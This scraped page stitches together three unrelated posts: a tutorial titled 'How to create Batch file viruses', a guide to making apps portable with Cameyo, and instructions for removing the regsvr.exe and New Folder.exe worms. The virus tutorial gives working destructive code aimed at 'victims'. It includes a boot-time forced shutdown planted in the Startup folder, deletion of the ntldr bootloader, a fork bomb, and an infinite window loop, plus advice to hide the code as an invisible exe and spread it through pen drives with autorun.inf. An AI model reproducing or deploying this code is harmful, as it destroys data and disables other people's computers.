How to create Batch file viruses?

What are Batch Files ?

According to wikipedia a batch file is a text file containing a series of commands intended to be executed by the command interprete, In this article I will be telling you the basics of batch files clear and developing the approach towards coding your own viruses. Lets begin with a simple example ,


Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'




We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x' .
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat



Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we run the batch file

So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.

What can batch viruses do ?

They can be used to delete the windows files, format data, steal information,consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes,

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.


:x
start cmd.exe
goto x // infinite loop

This code will be opening command prompt screen infinite times , irritating victim and affecting performance.

2.  copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds

Note : Files in Start up folder gets started automatically when windows starts .


Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

3. Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.



Lets make a batch file to  delete this file from victim's computer and the windows will not start then.
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del C:\ntldr //delete ntldr file

After ruuning this batch file , system will not reboot and a normal victim would definitely install the windows again.



4.%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows This is actually known as 'fork bomb'.



The viruses we just coded -:




 

Note : Most of the batch viruses are simply undetectable by any anitiviruses
 
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses -:

1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

Download this Batch To Exe coverter from here.
http://www.mediafire.com/?uhsc5tfkd5dbn65
 
After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.





You can use other options as per your requirement.

Spreading batch viruses through pen drive -:

Step 1. 
 
Open notepad and write


[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

How To Make Any Application Portable


Cameyo is a free tool which lets you make any application portable. As you know, portable apps are those programs which can be carried on your thumb / pen drive and which can be used straight away without installing it on your machine.
 

This free program is so very powerful. I havn’t tried it with all the applications on my computer but it makes all those applications portable which are important like Acrobat reader, Mozilla Firefox, Opera, Filezilla.
Here is the step by step guide to use Cameyo so that you can make any application portable:
STEP 1: Download Cameyo and install it on your system.

STEP 2: Now, run Cameyo when you want to make any application portable and click on button
labeled as CAPTURE INSTALLATION, which will take the snapshot of the system.

STEP 3: Once the snapshot is taken, a window opens labeled as PROCEED WITH INSTALLATION. Now, you can go ahead with your appliation installation task.

STEP 4: Now, we have the snapshot of the computer before the installation of the file. So, now
install the application which you wanted to convert into the portable application.

STEP 5: And after the installation of the application, click on INSTALL DONE button. This will create the post installation snapshot which would take some time.

STEP 6: Once the snapshot is taken, a window pops up which would ask you to enter the identification and other details like destination path.

STEP 7: Now, Cameyo will take sometime to create the virtual file.

That is it! When you check your desktop, you will find a folder which will contain the executable file of the application that you actually installed and the one which you wanted to make a portable application. Now, you can take this portable app anywhere you want and run it directly. Try it out and let us know if Cameyo was able to make your application portable

Remove REGSVR.EXE and New Folder.exe viruses

Plug a pendrive into a public computer and you will be pesked by the continuously replicating “New Folder.exe” virus or Remove REGSVR.EXE and New Folder.exe viruses completely - thrprohack.comthe “regsvr.exe” virus. Hear my story, while I transferred my notes last night (around 600 folders) and I was surprised to  see that around 450 MB of space was eaten by these self replicating space eaters ! I was running Linux so these were not a concern for me, but when I plugged my pendrive into my virtual machine (windows xp sp3), it caused multiple problems of explorer corruption and disabling registry tools.
Time for some virus busting I guess..here is how you can remove “regsvr.exe” and “new folder.exe” from your computer.

Step 1 - Some Startup Repairs
First of all, boot into safe mode.After you get to your desktop,press F3 or Ctrl + F and search for “autorun.inf” file in your computer and delete all the subsequent files. I case you are no able to delete them, select all the files and uncheck the”Read Only” option. If you are still not able to delete them , you might want to try out Unlocker tool to delete the files.
Now go to
start – > run –> type ”msconfig
and press enter
Go to startup tab and uncheck “regsvr”, click ok and then click on “Exit without restart”.
Now go to
control panel –> scheduled tasks and delete “At1” task listed there.
Once done, close all windows.

Step 2 - Changing Configurations
Your registry might be disabled,and you need to activate it back to undo all the malicious changes done by worm.In order to do that, you need to go to
start – > run –> type ”gpedit.msc
and press enter
then navigate to
users configuration –> Administrative templates –> systems
Find “prevent access to registry editing tools” , double click it and change the option to disable.
you need to enable regedit using gpedit - theprohack.com
Once done, your Regedit will be enabled. In case your task manager is disabled, you need to enable it.

Step 3 - Registry Edits
Now we have to perform some registry edits to enable our explorer and to remove all instances of worm from the registry. Go to
start – > run –> type ”regedit
and press enter
Click on Edit –> Find and search for regsvr.exe . Find and delete all the occurrences of regsvr.exe virus (don't delete  regsvr32.exe as its not a virus).
then navigate to entry
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
and modify the entry
Shell = “Explorer.exe regsvr.exe”
You need to remove regsvr from registry - theprohack.com
to delete the regsvr.exe from it,so that it becomes
Shell = “Explorer.exe
Once done, close all windows and get ready to delete all virus files.

Step 4 - Deleting Virus Files
The final step is to delete all the virus files in your computer. To do this, Press F3 or Ctrl + F and search for regsvr.exe (make sure to search in hidden folders ) and delete all “regsvr.exe” “svchost .exe” files (notice the gap between ‘svchost’ and ‘.exe’, keep in mind you don't delete the legitimate file.).
Clean your recycle bin and restart your PC (perform a cold boot).
Volia..you have cleaned your computer from regsvr..just make sure to scan your pendrive the next time you plug in :)
